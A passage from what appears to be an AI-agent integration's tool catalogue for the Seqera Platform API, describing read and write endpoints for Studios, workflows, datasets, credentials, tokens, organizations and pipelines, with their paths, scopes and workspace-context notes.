seqera_get_studios_by_sessionid_compatible_ce (read) — List compute environments compatible with a Studio via GET /studios/{sessionId}/compatible-ce. Lists the compute environments in the same workspace as the given Studio that are compatible with its compute environment. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. GET /api/v1/seqera/studios/{sessionId}/compatible-ce. Scopes: api. seqera_get_studios_by_sessionid_log (read) — Get Studio logs via GET /studios/{sessionId}/log. Retrieves the process log of the latest session of the given Studio, read from the compute environment's log stream (e.g. CloudWatch). Availability depends on the compute provider and its log retention. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. GET /api/v1/seqera/studios/{sessionId}/log. Scopes: api. seqera_get_studios_data_links (read) — List mounted data-links via GET /studios/data-links. Lists the IDs of all available data-links mounted in existing Studios. Append `orgId` or `?workspaceId` to list mounted data-links in an organization or workspace context, respectively. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. GET /api/v1/seqera/studios/data-links. Scopes: api. seqera_get_studios_templates (read) — List available Studio templates via GET /studios/templates. Returns the list of available, configured Studio templates. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. GET /api/v1/seqera/studios/templates. Scopes: api. seqera_get_studios_validate (read) — Validate Studio name via GET /studios/validate. Confirms the availability of the given name for a Studio in the user context. Append `?workspaceId=` to validate the name in a workspace context. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. GET /api/v1/seqera/studios/validate. Scopes: api. seqera_get_tokens (read) — List tokens via GET /tokens. Retrieves the list of all available API access tokens. GET /api/v1/seqera/tokens. Scopes: api. seqera_get_user_by_userid_workspaces (read) — List user workspaces and organizations via GET /user/{userId}/workspaces. Lists the workspaces and organizations to which the user identified by the given `userId` belongs. GET /api/v1/seqera/user/{userId}/workspaces. Scopes: api. seqera_get_user_info (read) — Describe current user via GET /user-info. The endpoint this integration's credential probe uses: it is read-only, needs no workspace context and is credential-gated (401 with no header and 401 with a bogus bearer, measured 2026-09-25 and re-confirmed 2026-09-27). GET /api/v1/seqera/user-info. Scopes: api. seqera_get_users_by_userid (read) — Describe a user entity via GET /users/{userId}. GET /api/v1/seqera/users/{userId}. Scopes: api. seqera_get_users_validate (read) — Check that the user name is valid via GET /users/validate. GET /api/v1/seqera/users/validate. Scopes: api. seqera_get_workflow (read) — List workflows via GET /workflow. Lists all workflow records, enriched with `attributes`. Append `?workspaceId` to list workflow records in a workspace context. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. GET /api/v1/seqera/workflow. Scopes: api. seqera_get_workflow_by_workflowid (read) — Describe workflow via GET /workflow/{workflowId}. Retrieves the details of the workflow record associated with the given `workflowId`. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. GET /api/v1/seqera/workflow/{workflowId}. Scopes: api. seqera_get_workflow_by_workflowid_download (read) — Download workflow files via GET /workflow/{workflowId}/download. Downloads the workflow files for the Nextflow main job associated with the given `workflowId`. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. GET /api/v1/seqera/workflow/{workflowId}/download. Scopes: api. seqera_get_workflow_by_workflowid_download_by_taskid (read) — Download workflow task files via GET /workflow/{workflowId}/download/{taskId}. Downloads the workflow files of the task identified by the given `taskId`. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. GET /api/v1/seqera/workflow/{workflowId}/download/{taskId}. Scopes: api. seqera_get_workflow_by_workflowid_launch (read) — Describe workflow launch via GET /workflow/{workflowId}/launch. Retrieves the details of the workflow launch associated with the given `workflowId`. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. GET /api/v1/seqera/workflow/{workflowId}/launch. Scopes: api. seqera_get_workflow_by_workflowid_log (read) — Get workflow logs via GET /workflow/{workflowId}/log. Retrieves the output logs for the Nextflow main job of the workflow identified by the given `workflowId`. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. GET /api/v1/seqera/workflow/{workflowId}/log. Scopes: api. seqera_get_workflow_by_workflowid_log_by_taskid (read) — Get workflow task logs via GET /workflow/{workflowId}/log/{taskId}. Retrieves the output logs for the workflow task identified by the given `taskId`. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. GET /api/v1/seqera/workflow/{workflowId}/log/{taskId}. Scopes: api. seqera_get_workflow_by_workflowid_metrics (read) — Get the execution metrics for the given Workflow ID via GET /workflow/{workflowId}/metrics. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. GET /api/v1/seqera/workflow/{workflowId}/metrics. Scopes: api. seqera_get_workflow_by_workflowid_progress (read) — Retrieve the execution progress for the given Workflow ID via GET /workflow/{workflowId}/progress. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. GET /api/v1/seqera/workflow/{workflowId}/progress. Scopes: api. seqera_get_workflow_by_workflowid_star (read) — Check workflow star status via GET /workflow/{workflowId}/star. Confirms whether the given `workflowId` is starred. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. GET /api/v1/seqera/workflow/{workflowId}/star. Scopes: api. seqera_get_workflow_by_workflowid_task_by_taskid (read) — Describe a task entity with the given ID via GET /workflow/{workflowId}/task/{taskId}. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. GET /api/v1/seqera/workflow/{workflowId}/task/{taskId}. Scopes: api. seqera_get_workflow_by_workflowid_tasks (read) — List the tasks for the given Workflow ID and filter parameters via GET /workflow/{workflowId}/tasks. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. GET /api/v1/seqera/workflow/{workflowId}/tasks. Scopes: api. seqera_get_workflow_by_workflowid_tasks_summary (read) — Summarize the tasks of the given workflow per process, optionally filtered by search via GET /workflow/{workflowId}/tasks/summary. Rolls up matching tasks per process so the run-timeline grouped view stays complete on large runs, where a capped/paged task list could hide processes whose matches fall past the page. Rejected with a 400 when the run's total task count exceeds 20,000, since the search term does not bound the cost of the underlying query -- only run size does. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. GET /api/v1/seqera/workflow/{workflowId}/tasks/summary. Scopes: api. seqera_get_workflow_random_name (read) — Generates a random name via GET /workflow/random-name. GET /api/v1/seqera/workflow/random-name. Scopes: api. seqera_get_workflow_validate (read) — Validate run name via GET /workflow/validate. Check that the given run name of a workflow has a valid format. When the session ID is given: check that no other workflow in the system exists with the combination of both elements. GET /api/v1/seqera/workflow/validate. Scopes: api. seqera_get_workspaces_by_workspaceid_datasets (read) — List available datasets via GET /workspaces/{workspaceId}/datasets. Lists all available datasets in the workspace context identified by the given `workspaceId`. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. GET /api/v1/seqera/workspaces/{workspaceId}/datasets. Scopes: api. seqera_get_workspaces_by_workspaceid_datasets_by_datasetid_metadata (read) — Describe dataset (workspace in the path) via GET /workspaces/{workspaceId}/datasets/{datasetId}/metadata. Retrieves the metadata of the dataset identified by the given `datasetId`. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. GET /api/v1/seqera/workspaces/{workspaceId}/datasets/{datasetId}/metadata. Scopes: api. seqera_get_workspaces_by_workspaceid_datasets_by_datasetid_versions (read) — List all dataset versions (workspace in the path) via GET /workspaces/{workspaceId}/datasets/{datasetId}/versions. Lists all versions of the given `datasetId`. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. GET /api/v1/seqera/workspaces/{workspaceId}/datasets/{datasetId}/versions. Scopes: api. seqera_get_workspaces_by_workspaceid_datasets_versions (read) — List latest dataset versions (workspace in the path) via GET /workspaces/{workspaceId}/datasets/versions. Lists the latest version of each dataset associated with the given `workspaceId`. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. GET /api/v1/seqera/workspaces/{workspaceId}/datasets/versions. Scopes: api. seqera_patch_workflow_by_workflowid (write) — Apply a partial update to the workflow-extension metadata for the given Workflow ID via PATCH /workflow/{workflowId}. Updates only the workflow-extension store; never a core workflow field. Designed to carry workflow-extension attributes generally so future fields reuse this operation. Returns the updated workflow representation. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. PATCH /api/v1/seqera/workflow/{workflowId}. Scopes: api. seqera_post_actions (write) — Create action via POST /actions. Creates a new pipeline action. Append `?workspaceId` to associate the action with the given workspace. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. POST /api/v1/seqera/actions. Scopes: api. seqera_post_actions_by_actionid_launch (write) — Trigger Tower Launch action via POST /actions/{actionId}/launch. Triggers the execution of the Tower Launch action identified by the given `actionId`. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. POST /api/v1/seqera/actions/{actionId}/launch. Scopes: api. seqera_post_actions_by_actionid_pause (write) — Pause or resume action via POST /actions/{actionId}/pause. Pauses or resumes the pipeline action identified by the given `actionId`. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. POST /api/v1/seqera/actions/{actionId}/pause. Scopes: api. seqera_post_actions_cron_resolve (write) — Resolve a schedule description to a cron expression via POST /actions/cron/resolve. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. POST /api/v1/seqera/actions/cron/resolve. Scopes: api. seqera_post_actions_labels_add (write) — Add labels to actions via POST /actions/labels/add. Adds the given list of labels to the given pipeline actions. Existing labels are preserved. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. POST /api/v1/seqera/actions/labels/add. Scopes: api. seqera_post_actions_labels_apply (write) — Replace action labels via POST /actions/labels/apply. Applies the given list of labels to the given pipeline actions. Existing labels are replaced — include labels to be preserved in `labelIds`. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. POST /api/v1/seqera/actions/labels/apply. Scopes: api. seqera_post_actions_labels_remove (write) — Remove labels from actions via POST /actions/labels/remove. Removes the given list of labels from the given pipeline actions. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. POST /api/v1/seqera/actions/labels/remove. Scopes: api. seqera_post_agents (write) — Create agent via POST /agents. Creates an agent in a workspace. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. POST /api/v1/seqera/agents. Scopes: api. seqera_post_agents_by_agentid_disable (write) — Disable agent via POST /agents/{agentId}/disable. Marks an active agent as inactive. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. POST /api/v1/seqera/agents/{agentId}/disable. Scopes: api. seqera_post_agents_by_agentid_enable (write) — Enable agent via POST /agents/{agentId}/enable. Marks an inactive agent as active. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. POST /api/v1/seqera/agents/{agentId}/enable. Scopes: api. seqera_post_agents_launch (write) — Launch agent via POST /agents/launch. Launches a background AI agent run. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. POST /api/v1/seqera/agents/launch. Scopes: api. seqera_post_compute_envs (write) — Create compute environment via POST /compute-envs. Creates a new compute environment. Append `?workspaceId` to create the environment in a workspace context. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. POST /api/v1/seqera/compute-envs. Scopes: api. seqera_post_compute_envs_by_computeenvid_disable (write) — Disable compute environment via POST /compute-envs/{computeEnvId}/disable. Disables the compute environment identified by the given `computeEnvId`. A disabled compute environment cannot be used to launch workflows. If the compute environment is primary, it will be automatically unset as primary. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. POST /api/v1/seqera/compute-envs/{computeEnvId}/disable. Scopes: api. seqera_post_compute_envs_by_computeenvid_enable (write) — Enable compute environment via POST /compute-envs/{computeEnvId}/enable. Enables the compute environment identified by the given `computeEnvId`. An enabled compute environment can be used to launch workflows. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. POST /api/v1/seqera/compute-envs/{computeEnvId}/enable. Scopes: api. seqera_post_compute_envs_by_computeenvid_primary (write) — Define primary compute environment via POST /compute-envs/{computeEnvId}/primary. Selects the compute environment identified by the given `computeEnvId` as the primary compute environment in the given workspace context. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. POST /api/v1/seqera/compute-envs/{computeEnvId}/primary. Scopes: api. seqera_post_compute_envs_by_computeenvid_validate (write) — Validate a compute environment via POST /compute-envs/{computeEnvId}/validate. Re-runs the pre-flight checks (associated-credential validation and work-directory accessibility) for the compute environment identified by the given `computeEnvId` and persists the outcome to the compute environment and its credential. Intended to recover a compute environment marked `INVALID` after the underlying problem has been fixed. Available only while the pre-flight feature is enabled. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. POST /api/v1/seqera/compute-envs/{computeEnvId}/validate. Scopes: api. seqera_post_credentials (write) — Create credentials via POST /credentials. Creates new credentials in a user context. Append `?workspaceId` to create the credentials in a workspace context. For AWS credentials with IAM Role ARN, append `?useExternalId=true` to generate a Platform-managed External ID. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. POST /api/v1/seqera/credentials. Scopes: api. seqera_post_credentials_by_credentialsid_validate (write) — Validate credentials against their cloud provider and report the outcome via POST /credentials/{credentialsId}/validate. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. POST /api/v1/seqera/credentials/{credentialsId}/validate. Scopes: api. seqera_post_data_links (write) — Create data-link via POST /data-links. Creates a new data-link in a user context. Append `?workspaceId=` to create the data-link in a workspace context. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. POST /api/v1/seqera/data-links. Scopes: api. seqera_post_data_links_by_datalinkid_upload (write) — Generate data-link file upload URL via POST /data-links/{dataLinkId}/upload. Creates a URL to upload files to the data-link associated with the given `dataLinkId`. For AWS S3 data-links, an additional follow-up request must be sent after your file upload has completed (or encountered an error) to finalize the upload - see the `/upload/finish` endpoint. Requests an upload URL; it does not carry the bytes. Seqera's optional `Origin` request header is a browser CORS header and is not offered as an argument. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. POST /api/v1/seqera/data-links/{dataLinkId}/upload. Scopes: api. seqera_post_data_links_by_datalinkid_upload_by_dirpath (write) — Generate data-link file upload URL (to given path) via POST /data-links/{dataLinkId}/upload/{dirPath}. Creates a URL to upload files to the data-link associated with the given `dataLinkId`, specifying a file path (`dirPath`). For AWS S3 data-links, an additional follow-up request must be sent after your file upload has completed (or encountered an error) to finalize the upload - see the `/upload/finish` endpoint. Requests an upload URL for a path inside the link; it does not carry the bytes. Seqera's optional `Origin` request header is a browser CORS header and is not offered as an argument. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. POST /api/v1/seqera/data-links/{dataLinkId}/upload/{dirPath}. Scopes: api. seqera_post_data_links_by_datalinkid_upload_finish (write) — Finish data-link file upload via POST /data-links/{dataLinkId}/upload/finish. Finish upload of a data-link file. This is necessary for AWS S3 data-links (`DataLinkProvider=aws`) to finalize a successful file upload, or abort an upload if an error was encountered while uploading a file using an upload URL from the `/upload` endpoint. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. POST /api/v1/seqera/data-links/{dataLinkId}/upload/finish. Scopes: api. seqera_post_data_links_by_datalinkid_upload_finish_by_dirpath (write) — Finish data-link file upload to given path via POST /data-links/{dataLinkId}/upload/finish/{dirPath}. Finish upload of a data-link file, specifying a file path (`dirPath`). This is necessary for AWS S3 data-links (`DataLinkProvider=aws`) to finalize a successful file upload, or abort an upload if an error was encountered while uploading a file using an upload URL from the `/upload` endpoint. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. POST /api/v1/seqera/data-links/{dataLinkId}/upload/finish/{dirPath}. Scopes: api. seqera_post_datasets (write) — Create dataset (v2, workspace as a query parameter) via POST /datasets. Creates a new dataset in the user context. Include the dataset file and details in your request body. Append `?workspaceId` to create the dataset in a workspace context. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. POST /api/v1/seqera/datasets. Scopes: api. seqera_post_datasets_by_datasetid_link (write) — Link external URL as dataset version via POST /datasets/{datasetId}/link. Creates a new linked DatasetVersion for an existing LINKED dataset by supplying a public HTTP/HTTPS URL. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. POST /api/v1/seqera/datasets/{datasetId}/link. Scopes: api. seqera_post_datasets_by_datasetid_versions_by_version_disable (write) — Disable a dataset version via POST /datasets/{datasetId}/versions/{version}/disable. Disable a dataset version, the dataset version cannot be used for runs, and cannot be enabled again. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. POST /api/v1/seqera/datasets/{datasetId}/versions/{version}/disable. Scopes: api. seqera_post_datasets_hide (write) — Hide dataset via POST /datasets/hide. Hide the given `datasetIds`. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. POST /api/v1/seqera/datasets/hide. Scopes: api. seqera_post_datasets_labels_add (write) — Add labels to datasets via POST /datasets/labels/add. Adds the given list of labels to the given datasets. Existing labels are preserved. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. POST /api/v1/seqera/datasets/labels/add. Scopes: api. seqera_post_datasets_labels_apply (write) — Replace datasets labels via POST /datasets/labels/apply. Applies the given list of labels to the given datasets. Existing labels are replaced - include labels to be preserved in `labelIds`. Only simple labels can be attached to datasets. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. POST /api/v1/seqera/datasets/labels/apply. Scopes: api. seqera_post_datasets_labels_remove (write) — Remove labels from datasets via POST /datasets/labels/remove. Removes the given list of labels from the given datasets. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. POST /api/v1/seqera/datasets/labels/remove. Scopes: api. seqera_post_datasets_preview_url (write) — Preview content from a URL via POST /datasets/preview-url. Fetches a partial content preview from an arbitrary HTTP/HTTPS URL, without creating a dataset. Intended for the dataset form preview after URL validation. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. POST /api/v1/seqera/datasets/preview-url. Scopes: api. seqera_post_datasets_show (write) — Show dataset via POST /datasets/show. Show the given `datasetIds`. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. POST /api/v1/seqera/datasets/show. Scopes: api. seqera_post_datasets_validate_url (write) — Validate URL for dataset linking via POST /datasets/validate-url. Validates that a remote dataset URL is accessible and returns a supported CSV/TSV format, without creating a dataset. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. POST /api/v1/seqera/datasets/validate-url. Scopes: api. seqera_post_ga4gh_wes_v1_runs (write) — GA4GH: Launch run via POST /ga4gh/wes/v1/runs. Uses the GA4GH workflow execution service API to launch a new run. Runs are launched in the user workspace context by default. To launch in an organization workspace context, include the `workspaceId` in `workflow_engine_parameters`. Runs are launched with the workspace primary compute environment by default. To launch with a different compute environment, include the `computeEnvId` in `workflow_engine_parameters`. Ships as its application/json variant. Seqera also accepts multipart/form-data here for attaching workflow files; that half is not offered, because binary transport has no approved Agentic Fabriq artifact contract on this integration. POST /api/v1/seqera/ga4gh/wes/v1/runs. Scopes: api. seqera_post_ga4gh_wes_v1_runs_by_run_id_cancel (write) — GA4GH: Cancel run via POST /ga4gh/wes/v1/runs/{run_id}/cancel. Uses the GA4GH workflow execution service API to cancel the run associated with the given `run_id`. POST /api/v1/seqera/ga4gh/wes/v1/runs/{run_id}/cancel. Scopes: api. seqera_post_identities (write) — Create Managed Identity via POST /identities. Create a new Managed Identity in an organization. POST /api/v1/seqera/identities. Scopes: api. seqera_post_identities_by_managedidentityid_credentials (write) — Creates Managed Credentials via POST /identities/{managedIdentityId}/credentials. Creates Managed Credentials for the given Managed Identity. POST /api/v1/seqera/identities/{managedIdentityId}/credentials. Scopes: api. seqera_post_labels (write) — Create label via POST /labels. Creates a new label or returns an existing label based on name/value. By default the operation works in a user context, append `?workspaceId` to create/retrieve a label in a workspace context. Resource labels include `resource: true` and a `value`. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. POST /api/v1/seqera/labels. Scopes: api. seqera_post_orgs (write) — Create organization via POST /orgs. Creates a new organization. POST /api/v1/seqera/orgs. Scopes: api. seqera_post_orgs_by_orgid_idp_groups (write) — Manually add an IdP group to the catalog via POST /orgs/{orgId}/idp-groups. Adds a group entry to the IdP group catalog via manual entry. The admin must enter the exact claim value their IdP sends in the groups claim. POST /api/v1/seqera/orgs/{orgId}/idp-groups. Scopes: api. seqera_post_orgs_by_orgid_scim_token (write) — Generate a SCIM bearer token via POST /orgs/{orgId}/scim/token. Generates a new SCIM bearer token for the organization. If an active token already exists it is revoked first. The plaintext token is returned only once. POST /api/v1/seqera/orgs/{orgId}/scim/token. Scopes: api. seqera_post_orgs_by_orgid_scim_token_rotate (write) — Rotate the SCIM bearer token via POST /orgs/{orgId}/scim/token/rotate. Revokes the current active token and generates a new one. The new plaintext token is returned only once. Rotating the organization's SCIM token invalidates the previous one, so any identity provider still sending it stops provisioning until it is updated. It is not the token this connection holds. POST /api/v1/seqera/orgs/{orgId}/scim/token/rotate. Scopes: api. seqera_post_orgs_by_orgid_teams (write) — Create team via POST /orgs/{orgId}/teams. Creates a new team in the organization identified by the given `orgId`. POST /api/v1/seqera/orgs/{orgId}/teams. Scopes: api. seqera_post_orgs_by_orgid_teams_by_teamid_members (write) — Create team member via POST /orgs/{orgId}/teams/{teamId}/members. Adds a new member to the team identified by the given `teamId`. POST /api/v1/seqera/orgs/{orgId}/teams/{teamId}/members. Scopes: api. seqera_post_orgs_by_orgid_workspaces (write) — Create workspace via POST /orgs/{orgId}/workspaces. Creates a new organization workspace. POST /api/v1/seqera/orgs/{orgId}/workspaces. Scopes: api. seqera_post_pipeline_schemas (write) — Create pipeline schema via POST /pipeline-schemas. Creates a new pipeline schema in a user context. Append `?workspaceId` to create the schema in a workspace context. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. POST /api/v1/seqera/pipeline-schemas. Scopes: api. seqera_post_pipeline_secrets (write) — Create pipeline secret via POST /pipeline-secrets. Creates a new pipeline secret in the user context. Append `?workspaceId` to create the secret in a workspace context. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. POST /api/v1/seqera/pipeline-secrets. Scopes: api. seqera_post_pipelines (write) — Create pipeline via POST /pipelines. Creates a new pipeline in a user context. Append `?workspaceId` to create the pipeline in a workspace context. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. POST /api/v1/seqera/pipelines. Scopes: api. seqera_post_pipelines_by_pipelineid_versions_by_versionid (write) — Update pipeline version via POST /pipelines/{pipelineId}/versions/{versionId}. Updates the details of the pipeline version identified by the given `pipelineId` and `versionId`. **Note**: If `labelIds` is `null`, empty, or omitted, existing pipeline labels are removed. Include `labelIds: [<label-id-1>,<label-id-2>]` to override existing labels. Labels to be preserved must be included. To append a list of labels to multiple pipelines, use `/pipelines/labels/add`. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. POST /api/v1/seqera/pipelines/{pipelineId}/versions/{versionId}. Scopes: api. seqera_post_pipelines_labels_add (write) — Add labels to pipelines via POST /pipelines/labels/add. Adds the given list of labels to the given pipelines. Existing labels are preserved. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. POST /api/v1/seqera/pipelines/labels/add. Scopes: api. seqera_post_pipelines_labels_apply (write) — Replace pipeline labels via POST /pipelines/labels/apply. Applies the given list of labels to the given pipelines. Existing labels are replaced — include labels to be preserved in `labelIds`. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. POST /api/v1/seqera/pipelines/labels/apply. Scopes: api. seqera_post_pipelines_labels_remove (write) — Remove labels from pipelines via POST /pipelines/labels/remove. Removes the given list of labels from the given pipelines. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. POST /api/v1/seqera/pipelines/labels/remove. Scopes: api. seqera_post_roles (write) — Create a role with the given name via POST /roles. POST /api/v1/seqera/roles. Scopes: api. seqera_post_ssh_keys (write) — Create SSH key via POST /ssh-keys. Creates a new SSH public key with the details in the given request body. POST /api/v1/seqera/ssh-keys. Scopes: api. seqera_post_studios (write) — Create Studio via POST /studios. Creates a new Studio environment, starting it by default. Default behavior can be changed using the query parameter `autoStart=false`. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. POST /api/v1/seqera/studios. Scopes: api. seqera_post_studios_by_sessionid_lifespan (write) — Extend a Studio session's lifespan via POST /studios/{sessionId}/lifespan. Extends the lifespan of the given Studio session ID. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. POST /api/v1/seqera/studios/{sessionId}/lifespan. Scopes: api. seqera_post_studios_by_sessionid_star (write) — Star studio via POST /studios/{sessionId}/star. Adds the studio identified by the given `sessionId` to your list of starred studios. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. POST /api/v1/seqera/studios/{sessionId}/star. Scopes: api. seqera_post_tokens (write) — Create token via POST /tokens. Creates an API access token with the details in the given request body. Mints a NEW Platform access token. Its value is returned once and is a live credential for this account -- treat the result as a secret. It does not change the token this connection holds. POST /api/v1/seqera/tokens. Scopes: api. seqera_post_trace_create (write) — Create workflow execution trace via POST /trace/create. Creates a new workflow execution trace. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. POST /api/v1/seqera/trace/create. Scopes: api. seqera_post_users_by_userid (write) — Update an user entity via POST /users/{userId}. POST /api/v1/seqera/users/{userId}. Scopes: api. seqera_post_workflow_by_workflowid_cancel (write) — Cancel workflow via POST /workflow/{workflowId}/cancel. Cancels the workflow execution identified by the given `workflowId`. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. POST /api/v1/seqera/workflow/{workflowId}/cancel. Scopes: api. seqera_post_workflow_by_workflowid_star (write) — Star workflow via POST /workflow/{workflowId}/star. Adds the workflow identified by the given `workflowId` to your list of starred workflows. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. POST /api/v1/seqera/workflow/{workflowId}/star. Scopes: api. seqera_post_workflow_delete (write) — Delete workflows via POST /workflow/delete. Deletes the workflow records identified by the given list of `workflowIds`. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. POST /api/v1/seqera/workflow/delete. Scopes: api. seqera_post_workflow_labels_add (write) — Add labels to workflows via POST /workflow/labels/add. Adds the given list of labels to the given workflows. Existing labels are preserved. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. POST /api/v1/seqera/workflow/labels/add. Scopes: api. seqera_post_workflow_labels_apply (write) — Replace workflow labels via POST /workflow/labels/apply. Applies the given list of labels to the given workflows. Existing labels are replaced — include labels to be preserved in `labelIds`. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. POST /api/v1/seqera/workflow/labels/apply. Scopes: api. seqera_post_workflow_labels_remove (write) — Remove labels from workflows via POST /workflow/labels/remove. Removes the given list of labels from the given workflows. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. POST /api/v1/seqera/workflow/labels/remove. Scopes: api. seqera_post_workflow_launch (write) — Launch workflow via POST /workflow/launch. Submits a workflow execution. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. POST /api/v1/seqera/workflow/launch. Scopes: api. seqera_post_workspaces_by_workspaceid_datasets (write) — Create dataset (workspace in the path) via POST /workspaces/{workspaceId}/datasets. Creates a new dataset in the given workspace context. Include the dataset file and details in your request body. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. POST /api/v1/seqera/workspaces/{workspaceId}/datasets. Scopes: api. seqera_put_actions_by_actionid (write) — Update action via PUT /actions/{actionId}. Updates the details of the action identified by the given `actionId`. The `source` of an existing action cannot be changed. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. PUT /api/v1/seqera/actions/{actionId}. Scopes: api. seqera_put_agents_by_agentid (write) — Update agent via PUT /agents/{agentId}. Updates an agent in a workspace. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. PUT /api/v1/seqera/agents/{agentId}. Scopes: api. seqera_put_compute_envs_by_computeenvid (write) — Update compute environment via PUT /compute-envs/{computeEnvId}. Updates the details of the compute environment identified by the given `computeEnvId`. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. PUT /api/v1/seqera/compute-envs/{computeEnvId}. Scopes: api. seqera_put_credentials_by_credentialsid (write) — Update credentials via PUT /credentials/{credentialsId}. Updates the details of the credentials identified by the given `credentialsId`. For AWS credentials with IAM Role ARN, append `?useExternalId=true` to generate a Platform-managed External ID. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token 